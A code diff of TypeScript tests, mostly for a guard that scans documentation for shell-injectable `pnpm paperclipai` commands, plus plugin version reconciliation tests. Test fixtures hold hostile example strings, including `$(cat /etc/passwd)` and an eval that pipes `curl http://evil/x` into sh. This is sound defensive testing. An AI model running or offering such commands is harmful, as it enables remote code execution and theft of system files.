+    const { deps, installPlugin, update } = makeDeps({
+      rows: {
+        [DAYTONA.pluginKey]: {
+          id: "row-daytona",
+          pluginKey: DAYTONA.pluginKey,
+          status: "ready",
+          version: "0.1.1",
+        },
+      },
+      bundleVersionByKey: { [DAYTONA.pluginKey]: "0.1.2" },
+    });
+    await ensureBundledPlugins([DAYTONA], deps, { reinstallUninstalled: false });
+    // The plugin stays present, so it is never re-installed.
+    expect(installPlugin).not.toHaveBeenCalled();
+    // The persisted manifest is refreshed to the shipped bundle version, so a
+    // capability added to the bundle reaches the existing install.
+    expect(update).toHaveBeenCalledWith(
+      "row-daytona",
+      expect.objectContaining({ version: "0.1.2" }),
+    );
+  });
+
+  it("does not reconcile when the persisted version already matches the bundle", async () => {
+    const { deps, update } = makeDeps({
+      rows: {
+        [DAYTONA.pluginKey]: {
+          id: "row-daytona",
+          pluginKey: DAYTONA.pluginKey,
+          status: "ready",
+          version: "0.1.2",
+        },
+      },
+      bundleVersionByKey: { [DAYTONA.pluginKey]: "0.1.2" },
+    });
+    await ensureBundledPlugins([DAYTONA], deps, { reinstallUninstalled: false });
+    expect(update).not.toHaveBeenCalled();
+  });
+
+  it("swallows a reconcile error and continues boot", async () => {
+    const { deps, update } = makeDeps({
+      rows: {
+        [DAYTONA.pluginKey]: {
+          id: "row-daytona",
+          pluginKey: DAYTONA.pluginKey,
+          status: "ready",
+          version: "0.1.1",
+        },
+      },
+      bundleVersionByKey: { [DAYTONA.pluginKey]: "0.1.2" },
+    });
+    (update as ReturnType<typeof vi.fn>).mockRejectedValueOnce(new Error("db down"));
+    await expect(
+      ensureBundledPlugins([DAYTONA], deps, { reinstallUninstalled: false }),
+    ).resolves.toBeUndefined();
+    expect(deps.logger.error).toHaveBeenCalled();
+  });
+
   it("reinstalls a soft-uninstalled plugin in managed mode", async () => {
     const { deps, installPlugin } = makeDeps({
       rows: {
diff --git a/server/src/__tests__/cli-invocation-safety.test.ts b/server/src/__tests__/cli-invocation-safety.test.ts
index 0b05feab479..3186fa48d23 100644
--- a/server/src/__tests__/cli-invocation-safety.test.ts
+++ b/server/src/__tests__/cli-invocation-safety.test.ts
@@ -4,19 +4,28 @@ import { fileURLToPath } from "node:url";
 import { describe, expect, it } from "vitest";
 import { generateReadme } from "../services/company-export-readme.js";
 
-// The Paperclip CLI is unsafe when an operator or agent runs it through
+// The Paperclip CLI is unsafe when an operator or an agent runs it through
 // `pnpm paperclipai <sub> <arg>` with a content-bearing argument. `pnpm` treats
-// `paperclipai` as a `package.json` script and wraps the argument in a
-// double-quoted `/bin/sh` string. The shell then runs command substitution (a
-// backtick pair or `$( )`) and variable expansion (`$NAME`) before the CLI
-// starts. `pnpm exec paperclipai` runs the installed binary directly. It passes
-// the argument as an inert argv value and does not run a shell. The safe form
-// and the unsafe form differ only by the `exec` keyword.
+// `paperclipai` as a `package.json` script. It appends the argument to a
+// double-quoted `/bin/sh` command string, so the shell reads the argument first
+// and runs command substitution (a backtick pair or `$( )`) and variable
+// expansion (`$NAME`) before the CLI starts. `npx paperclipai` runs the CLI
+// binary directly. It passes the argument as an inert argv value and does not
+// run a shell over the value. `npx paperclipai` is the safe form.
 //
-// This guard has two parts. First, it asserts that the runtime surfaces which
-// build a CLI instruction from a non-fixed value emit the safe `pnpm exec` form.
-// Second, it scans the guidance surfaces across the repository for any
-// content-bearing `pnpm paperclipai` example that returned to the docs.
+// `pnpm exec paperclipai` is not a safe substitute. The root workspace does not
+// depend on the `paperclipai` package, so `pnpm` never links its binary into
+// `node_modules/.bin`. The command fails with `Command "paperclipai" not found`,
+// even after a build. The guard bans it from the guidance surfaces.
+//
+// This guard is fail-closed against an exact allowlist. A `pnpm paperclipai`
+// line is allowed only when its full command string matches an exact entry in
+// `PNPM_ALLOWLIST`. Each allowlist entry is a fully literal local lifecycle or
+// setup command. A fully literal command carries no substitutable value: no
+// placeholder, no example value the reader replaces, no interpolation, no path,
+// no ref, no id, and no name. It holds the subcommand and, at most, flags that
+// take no value. Every other `pnpm paperclipai` line is an offender and must use
+// `npx paperclipai` (or the direct-exec form for local source).
 
 const here = path.dirname(fileURLToPath(import.meta.url));
 const repoRoot = path.resolve(here, "../../..");
@@ -25,82 +34,285 @@ function read(relPath: string): string {
   return readFileSync(path.join(repoRoot, relPath), "utf8");
 }
 
-// ── Content-bearing detection ─────────────────────────────────────────────
-//
-// A `pnpm paperclipai` line is content-bearing when it carries an argument that
-// an agent or operator can fill from untrusted or semi-trusted content: an
-// issue body, a comment, Markdown, a pasted snippet, model output, a hostname
-// from a request header, an import URL, an identifier, or a secret reference.
-
-// Flags that carry free text, an identifier, a payload, a file, or a secret.
-const CONTENT_FLAGS = [
-  "--body",
-  "--body-file",
-  "--title",
-  "--comment",
-  "--message",
-  "--description",
-  "--reason",
-  "--goal",
-  "--alt",
-  "--color",
-  "--content",
-  "--content-file",
-  "--summary",
-  "--note",
-  "--text",
-  "--name",
-  "--slug",
-  "--payload",
-  "--payload-json",
-  "--env-json",
-  "--company-id",
-  "--agent-id",
-  "--claim-secret",
-  "--api-key-env-var-name",
-  "--out",
-  "--file",
-];
-
-// Subcommands whose value is a hostname or an import source. A request header or
-// an external URL can supply that value, so it is never fixed.
-const CONTENT_SUBCOMMANDS = ["allowed-hostname", "company import"];
-
-// Placeholders that name an untrusted value type. A bare local placeholder such
-// as `<name>` or `<plugin-id>` on a local lifecycle command is not listed here.
-const UNTRUSTED_PLACEHOLDERS = [
-  "<token>",
-  "<secret>",
-  "<request-id>",
-  "this-github-url-or-folder",
-];
-
-// A note or warning line names the unsafe form on purpose. Skip it so the
-// security note itself does not trip the scan.
-function isNoteLine(line: string): boolean {
-  const lower = line.toLowerCase();
-  return (
-    line.includes("pnpm exec paperclipai") ||
-    line.includes("npx paperclipai") ||
-    lower.includes("do not use") ||
-    lower.includes("acceptable only")
-  );
+// Return the `### Offline and air-gapped use` subsection of `doc/CLI.md`. The
+// subsection runs from its own heading to the next Markdown heading. The scan
+// reads only this text, so a `pnpm` mention in another section does not affect
+// the offline-guidance assertions.
+function extractOfflineSubsection(cli: string): string {
+  const marker = "### Offline and air-gapped use";
+  const start = cli.indexOf(marker);
+  if (start < 0) return "";
+  const rest = cli.slice(start + marker.length);
+  const nextHeading = rest.search(/\n#{1,3} /);
+  return marker + (nextHeading < 0 ? rest : rest.slice(0, nextHeading));
 }
 
-function isContentBearing(line: string): boolean {
-  const commandStart = line.indexOf("pnpm paperclipai");
-  if (commandStart < 0) return false;
-  if (isNoteLine(line)) return false;
-  // Inspect only the command tail. Wrapping code before the command, such as a
-  // `${pc.dim(...)}` template call in TypeScript, is not part of the argument.
-  const command = line.slice(commandStart);
-  if (command.includes("${")) return true;
-  if (command.includes("url-or-folder>") || command.toLowerCase().includes("<url")) return true;
-  if (UNTRUSTED_PLACEHOLDERS.some((token) => command.includes(token))) return true;
-  if (CONTENT_SUBCOMMANDS.some((sub) => command.includes(sub))) return true;
-  return CONTENT_FLAGS.some(
-    (flag) => command.includes(`${flag} `) || command.includes(`${flag}=`),
-  );
+// ── The exact allowlist ───────────────────────────────────────────────────
+//
+// Each entry is a fully literal command string. A `pnpm paperclipai` line is
+// allowed only when its extracted command string equals one of these entries.
+// Add a new entry only for a command that carries no substitutable value.
+
+const PNPM_ALLOWLIST = new Set<string>([
+  "pnpm paperclipai --help",
+  "pnpm paperclipai run",
+  "pnpm paperclipai onboard",
+  "pnpm paperclipai onboard --yes",
+  "pnpm paperclipai onboard --run",
+  "pnpm paperclipai onboard --yes --run",
+  "pnpm paperclipai doctor",
+  "pnpm paperclipai doctor --repair",
+  "pnpm paperclipai auth bootstrap-ceo",
+  "pnpm paperclipai connect",
+  "pnpm paperclipai migrate",
+  "pnpm paperclipai db:backup",
+  "pnpm paperclipai configure --section server",
+  "pnpm paperclipai configure --section secrets",
+  "pnpm paperclipai configure --section storage",
+  "pnpm paperclipai configure --section database",
+  "pnpm paperclipai env",
+  "pnpm paperclipai env-lab up",
+  "pnpm paperclipai env-lab doctor",
+  "pnpm paperclipai env-lab status --json",
+  "pnpm paperclipai env-lab down",
+  "pnpm paperclipai context show",
+  "pnpm paperclipai context list",
+  "pnpm paperclipai issue list",
+  "pnpm paperclipai dashboard get",
+  "pnpm paperclipai plugin list",
+  "pnpm paperclipai feedback report",
+  "pnpm paperclipai feedback report --payloads",
+  "pnpm paperclipai feedback export",
+  "pnpm paperclipai instance settings:experimental",
+  "pnpm paperclipai worktree ensure-seeded",
+  "pnpm paperclipai worktree repair",
+  "pnpm paperclipai worktree env",
+  "pnpm paperclipai worktree env --json",
+]);
+
+// ── Documentation phrases ─────────────────────────────────────────────────
+//
+// A policy or warning sentence names `pnpm paperclipai` on purpose to tell the
+// reader not to use it, or to describe the abstract command form. These phrases
+// are not runnable commands, so they are exempt. The set is narrow and exact: a
+// mixed safe/unsafe example does not match, because its command string carries a
+// real subcommand and arguments.
+
+const DOC_PHRASES = new Set<string>([
+  // A bare mention such as `` `pnpm paperclipai` `` inside prose.
+  "pnpm paperclipai",
+  // The abstract command form the policy section discusses.
+  "pnpm paperclipai <command> <args>",
+]);
+
+// ── Command extraction ────────────────────────────────────────────────────
+//
+// Extract the full logical command that a reader runs from a `pnpm paperclipai`
+// occurrence. The guard compares the whole runnable command against the
+// allowlist, never a prefix. A quote, a backtick, or a parenthesis is a shell
+// metacharacter, not a safe extraction boundary. The guard must not truncate
+// the command at one of them and then match the shorter prefix. If it did, a
+// line such as `pnpm paperclipai run "$(cat secret)"` would truncate to the
+// allowlisted `pnpm paperclipai run` and pass, while the copied command still
+// runs the shell substitution.
+//
+// The guard trusts a string span only inside a proven literal context. The
+// context depends on the file type, so the guard reads the scanned file path
+// (`relPath`). A quote means a different thing in each language, so the guard
+// must not trust the same span shape everywhere.
+//  - Shell (`.sh`): never trust a quote or a backtick span. A shell concatenates
+//    a quoted string with the text next to it, so a close quote is not a safe
+//    boundary. The guard extracts to the logical line end and lets the allowlist
+//    reject any tail that is not a proven terminator.
+//  - Markdown (`.md`, `.mdx`): trust a backtick inline-code span only. A backtick
+//    opens a real literal span. A double quote in Markdown is plain prose, not a
+//    literal delimiter, so the guard does not trust a double-quote span.
+//  - Source (`.ts`, `.tsx`, `.js`, `.jsx`): trust a quote span only when it is
+//    the complete value of a `command:` property. The guard proves this shape by
+//    two facts. First, a `command` key and a colon sit directly before the open
+//    delimiter. Second, a source-string terminator (one of `,` `;` `)` `]` `}`,
+//    after optional whitespace) follows the close delimiter. A bare comma is not
+//    enough. An array element or a call argument also ends at a comma, and a
+//    later `join` or a call concatenates it with an untrusted tail. The shape
+//    `["pnpm paperclipai run", tail].join("")` extracts the allowlisted prefix
+//    but the runtime value carries the tail. The guard trusts only the direct
+//    `command:` property, so it fails closed on every other comma-terminated span.
+//  - Any other file type: never trust a span, and fail closed.
+//
+// The guard trusts a span only when its opener is adjacent to the marker: the
+// delimiter, then optional whitespace or a `$ ` shell prompt, then `pnpm`. When
+// the guard trusts the span, the next matching delimiter closes it, and the
+// command is the text from the marker to that close.
+//
+// Outside a proven literal context the guard fails closed. It extracts the
+// command to the logical line end, or to a ` #` comment. A backtick, a quote, or
+// a parenthesis here is a shell metacharacter, so it stays in the extracted
+// command. The command then fails the allowlist match and the guard reports it.
+// This is the key rule: a quote or a backtick that follows the command is never
+// a truncation boundary, so a line such as `pnpm paperclipai run "$(cat secret)"`
+// keeps its dangerous suffix and the guard rejects it.
+//
+// The guard never infers a safe enclosing span from an arbitrary unmatched
+// delimiter earlier on the line. An earlier `"` or backtick that is not adjacent
+// to the marker is ambiguous context, so the guard fails closed. An escaped
+// delimiter (`\"` or an escaped backtick) is literal text, so it never opens or
+// closes a span.
+//
+// The scan collapses internal whitespace, so a backslash-continued command
+// compares as one normalized string.
+
+function normalizeCommand(raw: string): string {
+  return raw.replace(/\s+/g, " ").trim();
+}
+
+// Return true when the delimiter at index `index` in `text` is escaped. A
+// delimiter is escaped when an odd number of backslashes sit directly before it.
+function isEscaped(text: string, index: number): boolean {
+  let backslashes = 0;
+  for (let i = index - 1; i >= 0 && text[i] === "\\"; i -= 1) {
+    backslashes += 1;
+  }
+  return backslashes % 2 === 1;
+}
+
+// Return the span delimiter that opens the command, or null when no delimiter is
+// adjacent to the marker. The guard trusts a span only when its opener sits
+// directly next to the marker. The opener is the last character of `before`
+// after the removal of an optional trailing gap: whitespace and, at most, one
+// `$ ` shell prompt. An earlier unmatched delimiter that is not adjacent is
+// ambiguous context, so this function returns null and the caller fails closed.
+// An escaped delimiter (`\"` or an escaped backtick) is literal text, so it does
+// not open a span.
+const ADJACENCY_GAP = /(?:[ \t]*(?:\$[ \t]+)?)$/;
+
+function adjacentSpanOpener(before: string): string | null {
+  const head = before.replace(ADJACENCY_GAP, "");
+  const last = head.length - 1;
+  if (last < 0) return null;
+  const char = head[last];
+  if (char !== "`" && char !== '"') return null;
+  if (isEscaped(head, last)) return null;
+  return char;
+}
+
+// Return the index of the next unescaped `delimiter` in `tail`, or -1 when the
+// span has no close. An escaped delimiter is literal text, so it does not close
+// the span.
+function nextUnescapedDelimiter(tail: string, delimiter: string): number {
+  for (let i = 0; i < tail.length; i += 1) {
+    if (tail[i] === delimiter && !isEscaped(tail, i)) return i;
+  }
+  return -1;
+}
+
+// Classify the scanned file by its extension. The trusted-span rule depends on
+// the file type, because a quote means a different thing in each language.
+type FileKind = "shell" | "markdown" | "source" | "other";
+
+function fileKind(relPath: string): FileKind {
+  const ext = path.extname(relPath).toLowerCase();
+  if (ext === ".sh") return "shell";
+  if (ext === ".md" || ext === ".mdx") return "markdown";
+  if (ext === ".ts" || ext === ".tsx" || ext === ".js" || ext === ".jsx") {
+    return "source";
+  }
+  return "other";
+}
+
+// A source string literal ends at a real terminator: a comma, a semicolon, or a
+// close bracket, after optional whitespace. A close delimiter that a shell
+// expansion (for example `$(`) or a string concatenation follows is not a proven
+// literal end.
+const SOURCE_TERMINATOR = /^[ \t]*[,;)\]}]/;
+
+// A complete static command literal has the shape `command: <literal>`. A
+// `command` key and a colon sit directly before the open delimiter. This proves
+// the literal is the whole property value. An array element or a call argument
+// has a different context before the open delimiter (a `[`, a `(`, or a comma),
+// so it never matches. The `(?:^|[^\w$])` guard stops a longer key such as
+// `subcommand` from matching the `command` tail.
+const COMMAND_PROPERTY_OPENER = /(?:^|[^\w$])command\s*:\s*$/;
+
+// Return the text directly before the open delimiter. The open delimiter is the
+// last character of `before` after the removal of the adjacency gap.
+function textBeforeOpener(before: string): string {
+  const head = before.replace(ADJACENCY_GAP, "");
+  return head.slice(0, -1);
+}
+
+// Return true when a trusted span opens the command in a proven literal context.
+// The context depends on the file type. The guard fails closed on every other
+// context, so it never infers a safe span outside a proven literal.
+function spanIsProvenLiteral(
+  relPath: string,
+  open: string,
+  before: string,
+  tail: string,
+  close: number,
+): boolean {
+  const kind = fileKind(relPath);
+  if (kind === "shell" || kind === "other") return false;
+  // A Markdown backtick opens an inline-code span. A Markdown double quote is
+  // plain prose, so the guard does not trust it.
+  if (kind === "markdown") return open === "`";
+  // A source string literal (a double quote or a template backtick) is a proven
+  // literal only when it is the complete value of a `command:` property. Two
+  // facts must hold. The `command:` key sits directly before the open delimiter,
+  // and a source terminator follows the close delimiter. A bare comma alone is
+  // not enough, because an array element or a call argument also ends at a comma
+  // and a later concatenation joins it with an untrusted tail.
+  if (!SOURCE_TERMINATOR.test(tail.slice(close + 1))) return false;
+  return COMMAND_PROPERTY_OPENER.test(textBeforeOpener(before));
+}
+
+function extractCommand(relPath: string, text: string, at: number): string {
+  const before = text.slice(0, at);
+  const tail = text.slice(at);
+  const open = adjacentSpanOpener(before);
+  if (open !== null) {
+    // The marker sits inside a span whose opener is adjacent to the marker. The
+    // guard trusts the matching close delimiter as a real terminator only inside
+    // a proven literal context for this file type.
+    const close = nextUnescapedDelimiter(tail, open);
+    if (close >= 0 && spanIsProvenLiteral(relPath, open, before, tail, close)) {
+      return normalizeCommand(tail.slice(0, close));
+    }
+  }
+  // Fail closed. Outside a proven literal context the command runs to a ` #`
+  // comment or the line end. A quote, a backtick, or a parenthesis stays inside
+  // the extracted command, so a dangerous suffix fails the allowlist match.
+  const comment = tail.search(/\s#/);
+  const raw = comment < 0 ? tail : tail.slice(0, comment);
+  return normalizeCommand(raw);
+}
+
+// A `pnpm paperclipai` occurrence is an offender when it is wrapped in a
+// command-substitution span, or when its full command string is neither an
+// allowlist entry nor a documentation phrase. The command-substitution check
+// catches `$(pnpm paperclipai ...)`, which normalizes the dangerous habit of
+// running the CLI inside a shell substitution even when the inner command is
+// literal.
+
+function findOffenders(relPath: string, text: string): string[] {
+  const offenders: string[] = [];
+  const marker = "pnpm paperclipai";
+  let from = 0;
+  for (;;) {
+    const at = text.indexOf(marker, from);
+    if (at < 0) break;
+    from = at + marker.length;
+    const before = text.slice(0, at);
+    const wrapped = /\$\(\s*$/.test(before);
+    const command = extractCommand(relPath, text, at);
+    if (wrapped) {
+      offenders.push(command);
+      continue;
+    }
+    if (PNPM_ALLOWLIST.has(command)) continue;
+    if (DOC_PHRASES.has(command)) continue;
+    offenders.push(command);
+  }
+  return offenders;
 }
 
 // ── Repository walk ───────────────────────────────────────────────────────
@@ -211,8 +423,8 @@ function toLogicalLines(source: string): LogicalLine[] {
 function scanText(relPath: string, source: string): string[] {
   const offenders: string[] = [];
   for (const { text, lineNumber } of toLogicalLines(source)) {
-    if (isContentBearing(text)) {
-      offenders.push(`${relPath}:${lineNumber}: ${text.trim()}`);
+    for (const command of findOffenders(relPath, text)) {
+      offenders.push(`${relPath}:${lineNumber}: ${command}`);
     }
   }
   return offenders;
@@ -226,15 +438,268 @@ function scanForOffenders(): string[] {
   return offenders;
 }
 
+// A line that recommends the broken `pnpm exec paperclipai` form. A warning line
+// names the broken form on purpose to tell the reader not to use it. Skip such a
+// line, so the note itself does not trip the ban.
+function recommendsBrokenExecForm(line: string): boolean {
+  if (!line.includes("pnpm exec paperclipai")) return false;
+  const lower = line.toLowerCase();
+  const warns =
+    lower.includes("broken") ||
+    lower.includes("not found") ||
+    lower.includes("do not use");
+  return !warns;
+}
+
+function scanForBrokenExecForm(): string[] {
+  const offenders: string[] = [];
+  for (const relPath of listGuidanceFiles()) {
+    read(relPath)
+      .split("\n")
+      .forEach((line, index) => {
+        if (recommendsBrokenExecForm(line)) {
+          offenders.push(`${relPath}:${index + 1}: ${line.trim()}`);
+        }
+      });
+  }
+  return offenders;
+}
+
 describe("paperclipai CLI invocation safety", () => {
-  it("keeps content-bearing pnpm paperclipai examples out of every guidance surface", () => {
+  it("allows only exact-allowlist pnpm paperclipai commands on every guidance surface", () => {
     const offenders = scanForOffenders();
     expect(
       offenders,
-      `Use \`pnpm exec paperclipai\` for content-bearing arguments:\n${offenders.join("\n")}`,
+      `Each pnpm paperclipai line must match an exact allowlist entry, else use ` +
+        `npx paperclipai (or the direct-exec form for local source):\n${offenders.join("\n")}`,
     ).toEqual([]);
   });
 
+  it("never recommends the broken pnpm exec paperclipai form", () => {
+    const offenders = scanForBrokenExecForm();
+    expect(
+      offenders,
+      `\`pnpm exec paperclipai\` does not resolve the CLI binary; use \`npx paperclipai\`:\n${offenders.join("\n")}`,
+    ).toEqual([]);
+  });
+
+  // ── The extraction and allowlist logic, in isolation ─────────────────────
+  //
+  // Each case fails before this change and passes after it. Before, the guard
+  // recognized only a limited flag set and skipped any line that mentioned
+  // `npx paperclipai`. So it missed `--config`, `--data-dir`, `--instance`,
+  // `--bind`, a context-profile value, and worktree path/ref/id/name options,
+  // and a mixed safe/unsafe line hid behind its `npx` mention.
+
+  it("flags a value-bearing option that the old flag list omitted", () => {
+    // --config, --data-dir, --instance, and --bind each carry a value.
+    expect(scanText("doc/E.md", "pnpm paperclipai doctor --config ./scratch.json")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai run --data-dir ./tmp/dev")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai run --instance dev")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai run --bind tailnet")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai onboard --yes --bind lan")).toHaveLength(1);
+  });
+
+  it("flags a context-profile value and every worktree path/ref/id/name option", () => {
+    expect(scanText("doc/E.md", "pnpm paperclipai context use default")).toHaveLength(1);
+    // Path, ref, id, and name options on worktree commands.
+    expect(scanText("doc/E.md", "pnpm paperclipai worktree repair --branch PAP-1-x")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai worktree:make my-feature --start-point origin/main")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai worktree init --from-config ~/.paperclip/config.json")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai worktree reseed --to PAP-1-x")).toHaveLength(1);
+  });
+
+  it("does not let an npx mention on the same line suppress detection", () => {
+    // A mixed line names the safe form but still shows the unsafe command.
+    const mixed = "Prefer npx paperclipai, but pnpm paperclipai issue create --title x also works.";
+    expect(scanText("doc/E.md", mixed)).toHaveLength(1);
+  });
+
+  it("rejects a command-substitution or variable span in a recommended command", () => {
+    // Backtick command substitution, $( ) command substitution, and $NAME
+    // variable expansion each reach a shell before the CLI starts.
+    expect(scanText("doc/E.md", "pnpm paperclipai allowed-hostname `hostname`")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai issue create --title $(cat /etc/passwd)")).toHaveLength(1);
+    expect(scanText("doc/E.md", "pnpm paperclipai run --instance $INSTANCE")).toHaveLength(1);
+    // A literal command wrapped in $( ) is still an offender.
+    expect(scanText("doc/E.md", 'eval "$(pnpm paperclipai worktree env)"')).toHaveLength(1);
+  });
+
+  it("flags an allowlisted prefix followed by a quoted or backtick suffix", () => {
+    // The full runnable command is not the allowlisted prefix. The guard must
+    // match the whole command, not the prefix truncated at the quote or the
+    // backtick. A reader who copies the line runs the shell-expanded suffix.
+    // (a) A double-quoted value that carries shell-expanded content.
+    expect(scanText("doc/E.md", 'pnpm paperclipai run "$(cat /etc/passwd)"')).toHaveLength(1);
+    expect(scanText("doc/E.md", 'pnpm paperclipai doctor "$HOME/scratch.json"')).toHaveLength(1);
+    // (b) A backtick-delimited suffix after the allowlisted command.
+    expect(scanText("doc/E.md", "pnpm paperclipai run `hostname`")).toHaveLength(1);
+    // A single-quoted suffix is also part of the full command.
+    expect(scanText("doc/E.md", "pnpm paperclipai onboard 'extra value'")).toHaveLength(1);
+  });
+
+  // ── Fail closed on an ambiguous quote context before the marker ──────────
+  //
+  // The round-4 guard toggled a span open on every unmatched delimiter earlier
+  // on the logical line. So an arbitrary leading `"` or backtick before the
+  // marker opened a false span, and the first delimiter in the tail closed it.
+  // The extraction then dropped the dangerous suffix and matched the allowlisted
+  // prefix. That is fail-open. The guard now trusts a span only when its opener
+  // is adjacent to the marker. A non-adjacent earlier delimiter is ambiguous, so
+  // the guard extracts to the logical line end and keeps the dangerous suffix.
+  //
+  // Each case below extracts the full command that includes the suffix, so each
+  // reports exactly one offender. On the round-4 code each accepted case
+  // extracted only `pnpm paperclipai run` (or `... doctor`) and reported zero
+  // offenders. The comment on each case marks that fail-open delta.
+
+  it("fails closed on a leading unmatched double quote before the marker", () => {
+    // Round-4: the leading `"` opened a span; the tail `"` closed it; the guard
+    // extracted `pnpm paperclipai run` and reported zero offenders (fail open).
+    const line = 'some prose with one " quote then pnpm paperclipai run "$(dangerous)"';
+    expect(scanText("doc/E.md", line)).toHaveLength(1);
+    // The same shape with a doctor prefix and a `$VAR` suffix.
+    const varLine = 'a stray " quote and pnpm paperclipai doctor "$HOME/x"';
+    expect(scanText("doc/E.md", varLine)).toHaveLength(1);
+  });
+
+  it("fails closed on a leading unmatched backtick and on mixed delimiters", () => {
+    // Round-4: the leading backtick opened a span; the tail backtick closed it;
+    // the guard extracted `pnpm paperclipai run` and reported zero offenders.
+    const backtick = "a stray ` tick then pnpm paperclipai run `hostname`";
+    expect(scanText("doc/E.md", backtick)).toHaveLength(1);
+    // Mixed: a leading unmatched backtick, then a double-quoted `$( )` suffix.
+    const mixedA = 'a stray ` tick then pnpm paperclipai run "$(cat secret)"';
+    expect(scanText("doc/E.md", mixedA)).toHaveLength(1);
+    // Mixed: a leading unmatched double quote, then a backtick suffix.
+    const mixedB = 'a stray " quote then pnpm paperclipai run `hostname`';
+    expect(scanText("doc/E.md", mixedB)).toHaveLength(1);
+  });
+
+  it("does not let an escaped delimiter before the marker open a span", () => {
+    // An escaped quote is literal text, not a span opener. Round-4 counted the
+    // `"` in `\"` as a real delimiter, opened a span, and could fail open. The
+    // guard ignores an escaped delimiter, so it extracts the full command.
+    const escapedQuote = 'a label \\" then pnpm paperclipai run "$(dangerous)"';
+    expect(scanText("doc/E.md", escapedQuote)).toHaveLength(1);
+    const escapedTick = "a label \\` then pnpm paperclipai run `hostname`";
+    expect(scanText("doc/E.md", escapedTick)).toHaveLength(1);
+    // An escaped delimiter directly before the marker is not an adjacent opener,
+    // so the guard fails closed and keeps the dangerous suffix.
+    const adjacentEscaped = '\\"pnpm paperclipai run "$(dangerous)"';
+    expect(scanText("doc/E.md", adjacentEscaped)).toHaveLength(1);
+  });
+
+  it("still trusts a span in its proven literal context", () => {
+    // A Markdown inline-code backtick span and a source string literal both place
+    // the opener directly before the marker in a proven literal context, so the
+    // guard reads the full command inside the span and matches the allowlist. An
+    // optional `$ ` prompt inside the span still counts as adjacent. The source
+    // double-quote span is proven only by the terminator that follows its close.
+    expect(scanText("doc/E.md", "Run `pnpm paperclipai run` to start.")).toEqual([]);
+    expect(scanText("config/example.ts", '  command: "pnpm paperclipai onboard --yes --run",')).toEqual([]);
+    expect(scanText("doc/E.md", "Run `$ pnpm paperclipai doctor` to check.")).toEqual([]);
+  });
+
+  // ── Fail closed outside a proven literal context (context-aware spans) ────
+  //
+  // The round-5 guard trusted an adjacent quote span in every file type. So an
+  // unescaped double quote directly before the marker opened a span, and the next
+  // double quote closed it. The guard then extracted only the truncated prefix
+  // and matched the allowlist, while the text outside the close quote still
+  // reached a shell. The shape `eval "<allowlisted form>"$(untrusted)` passed
+  // with zero offenders. The guard now trusts a span only in a proven literal
+  // context for the file type, so each shape below reports one offender.
+
+  it("fails closed on a shell eval that concatenates a quoted form with a substitution", () => {
+    // A shell concatenates the quoted string with the `$( )` result, so the close
+    // quote is not a safe boundary. The `.sh` rule never trusts a quote span, so
+    // the guard keeps the dangerous suffix and reports the whole command.
+    const shell = 'eval "pnpm paperclipai run"$(curl http://evil/x | sh)';
+    expect(scanText("deploy/run.sh", shell)).toHaveLength(1);
+  });
+
+  it("fails closed on a quoted residual in a Markdown line", () => {
+    // A Markdown double quote is prose, not a literal delimiter. The guard does
+    // not trust the span, so the dangerous suffix outside the quote stays in the
+    // command and the guard reports it.
+    const md = 'Run "pnpm paperclipai run"$(cat /etc/passwd) to start.';
+    expect(scanText("doc/E.md", md)).toHaveLength(1);
+  });
+
+  it("fails closed on a TypeScript quote span that a concatenation or a substitution follows", () => {
+    // A source double quote is a literal only when a source terminator follows
+    // its close. A close quote that a `+` concatenation or a `$(` expansion
+    // follows is not a proven literal end, so the guard reports the command.
+    const concat = 'const cmd = "pnpm paperclipai run" + userInput;';
+    expect(scanText("src/build-cmd.ts", concat)).toHaveLength(1);
+    const substitution = 'const cmd = "pnpm paperclipai run"$(inject);';
+    expect(scanText("src/build-cmd.ts", substitution)).toHaveLength(1);
+  });
+
+  it("still accepts the legitimate source literals in the Playwright configs", () => {
+    // A backtick template literal and a double-quote string literal each end at a
+    // real source terminator (a comma), so the source-terminator rule proves the
+    // literal context and the allowlist matches. These two real files must pass.
+    expect(scanText("tests/e2e/playwright.config.ts", read("tests/e2e/playwright.config.ts"))).toEqual([]);
+    expect(
+      scanText(
+        "tests/perf/issue-detail/playwright.config.ts",
+        read("tests/perf/issue-detail/playwright.config.ts"),
+      ),
+    ).toEqual([]);
+  });
+
+  // ── Fail closed on a comma-terminated fragment that a join concatenates ───
+  //
+  // The round-6 guard trusted any source quote span whose close delimiter a comma
+  // follows. A comma is a source terminator, but it does not prove the literal is
+  // the complete emitted command. An array element and a call argument both end
+  // at a comma, and a later `join` or a call concatenates the element with an
+  // untrusted tail. The guard now trusts a comma only for a direct `command:`
+  // property, so each composition below reports one offender.
+
+  it("fails closed on an allowlisted prefix joined with a tail in an array literal", () => {
+    // The literal is one array element, not the whole command. `join("")`
+    // concatenates it with `userControlledTail`, so the runtime value carries the
+    // tail. The comma after the element is a source terminator, but it does not
+    // prove a complete command, so the guard reports the whole expression.
+    const source =
+      'const command = ["pnpm paperclipai run", userControlledTail].join("");';
+    const offenders = scanText("src/build-command.ts", source);
+    expect(offenders).toHaveLength(1);
+  });
+
+  it("fails closed on an allowlisted prefix passed as a call argument with a tail", () => {
+    // A function-call argument list joins an allowlisted prefix literal with a
+    // tail. The comma after the prefix is a call-argument separator, not a proof
+    // of a complete command, so the guard reports the composition.
+    const source = 'const command = buildCommand("pnpm paperclipai run", tail);';
+    const offenders = scanText("src/build-command.ts", source);
+    expect(offenders).toHaveLength(1);
+  });
+
+  it("flags an allowlisted prefix with a backtick suffix on a continued line", () => {
+    // The parser joins backslash-continued lines into one logical command. An
+    // allowlisted first line does not make the whole command safe. The suffix on
+    // the continued line still reaches a shell.
+    const quoted = ["pnpm paperclipai doctor \\", '  --config "$(cat secret)"'].join("\n");
+    expect(scanText("doc/EXAMPLE.md", quoted)).toHaveLength(1);
+    const backtick = ["pnpm paperclipai run \\", "  `hostname`"].join("\n");
+    const offenders = scanText("doc/EXAMPLE.md", backtick);
+    expect(offenders).toHaveLength(1);
+    expect(offenders[0]).toContain("doc/EXAMPLE.md:1:");
+  });
+
